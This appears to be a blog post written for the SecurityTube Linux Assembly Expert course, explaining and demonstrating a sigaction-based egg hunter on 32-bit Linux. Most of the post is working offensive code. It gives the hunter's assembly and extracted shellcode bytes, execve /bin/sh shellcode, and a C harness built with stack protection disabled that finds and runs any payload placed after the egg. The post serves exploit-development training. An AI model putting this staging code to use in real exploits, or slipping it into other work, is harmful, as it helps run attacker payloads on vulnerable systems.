Assignment
- Study about the Egg Hunter shellcode
- Create a working demo of the Egghunter
- Should be configurable for different payloads
What is an Egg Hunter?
A egg hunter is a small piece of code that is used to search memory for an identifying stub and then direct execution flow to the area of memory directly after the identifier (egg). This is typically useful in exploitation scenarios where available space for shellcode is not big enough to hold a full payload. In this case a small egg hunter shell code can be used to search memory for a larger shell code payload and direct the program execution flow to this area of memory to execute the desired full size payload. As an example a typical egg hunter implenmentation in assembly is maybe 32 bytes whereas a reverse TCP shell in meterpreter is in the region of 320 bytes, hence it is easy to see the potential use cases for an egg hunter.
Skapes paper on egg hunters was and still stands as the definitive go to reference, so for addtional reading I suggest review of that paper here.
Implementation
Of Skapes three linux implementations the sigaction method is quickest and smallest so that is what we will use here. The code as laid out in the paper is as follows:
00000000 6681C9FF0F or cx,0xfff 00000005 41 inc ecx 00000006 6A43 push byte +0x43 00000008 58 pop eax 00000009 CD80 int 0x80 0000000B 3CF2 cmp al,0xf2 0000000D 74F1 jz 0x0 0000000F B890509050 mov eax,0x50905090 00000014 89CF mov edi,ecx 00000016 AF scasd 00000017 75EC jnz 0x5 00000019 AF scasd 0000001A 75E9 jnz 0x5 0000001C FFE7 jmp edi
Converting this to some thing more readable including comments we end up with the following assembly code. You will note a slight deviation from Skapes initial proof of concept lines 20 and 21. A direct copy of Skapes example was producing a segmentation fault on hitting address 0x00000000 so we add 2 lines to step past this issue. Thanks to http://sh3llc0d3r.com/slae32-egghunter/ for the pointer in the right direction with this.
global _start section .text _start: next_page: or cx,0xfff ; Set cx to 4095 ; (This is the page size in linux however; ; 4096 = 0x1000 in hex which contains nulls next_address: inc ecx ; Increment ecx jnz not_null ; Work around seg fault at address 0x00000000 inc ecx ; Increment ecx not_null: push byte +0x43 ; Push 67 to stack pop eax ; Pop 67 to eax int 0x80 ; System Call (Sigaction, eax = 67, ebx=0, ecx = memory we are testing) cmp al,0xf2 ; Compare the return value, 0xf2 = Efault therefore an invalid pointer jz next_page ; Loop if we get an Efault mov eax, 0x73756c73 ; Move egg to eax (egg = suls) mov edi,ecx ; Move address we are validating to edi scasd ; Compare eax/edi and increment edi by 4 btyes jnz next_address ; If not found jump to next address scasd ; Compare eax/edi for second egg jnz next_address ; If not found jump to next address jmp edi ; Egg found so jmp to our shell code
We then assemble and link with the helper script
./compile egghunter
Now as in previous exercises we extract our shellcode:
objdump -d ./egghunter|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' "\x66\x81\xc9\xff\x0f\x41\x75\x01\x41\x6a\x43\x58\xcd\x80\x3c\xf2\x74\xee\xb8\x73\x6c\x75\x73\x89\xcf\xaf\x75\xe9\xaf\x75\xe6\xff\xe7"
Testing and Customisation
Now we have our egg hunter shell code we construct a small C program to store both execve shellcode proceeded by our “egg” twice in memory and our egghunter shellcode. We then pass execution to the egghunter which will hopefully find our egg in memory and execute the execve shellcode for us.
#include<stdio.h> #include<string.h> // egg =suls #define egg "\x73\x6c\x75\x73" // Egg hunter shell code unsigned char egghunter[] = \ "\x66\x81\xc9\xff\x0f\x41\x75\x01\x41\x6a\x43\x58\xcd\x80\x3c\xf2\x74\xee\xb8\x73\x6c\x75\x73\x89\xcf\xaf\x75\xe9\xaf\x75\xe6\xff\xe7"; // execve shellcode unsigned char shellcode[] = egg egg \ "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"; main() { printf("EggHunter Length: %d\n", strlen(egghunter)); printf("Shellcode Length: %d\n", strlen(shellcode)); int (*ret)() = (int(*)())egghunter; ret(); }
And as before we compile with the following command:
gcc -fno-stack-protector -z execstack -o egghunter_test egghunter.c
And test to find after a short wait our execve shellcode is located and executed.

The C program can be modified to contain and execute any shellcode payload the user desires by simply replacing the “shellcode” variable.
This completes assignment three, source code is available on GitHub https://github.com/su1s/SLAE
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-1436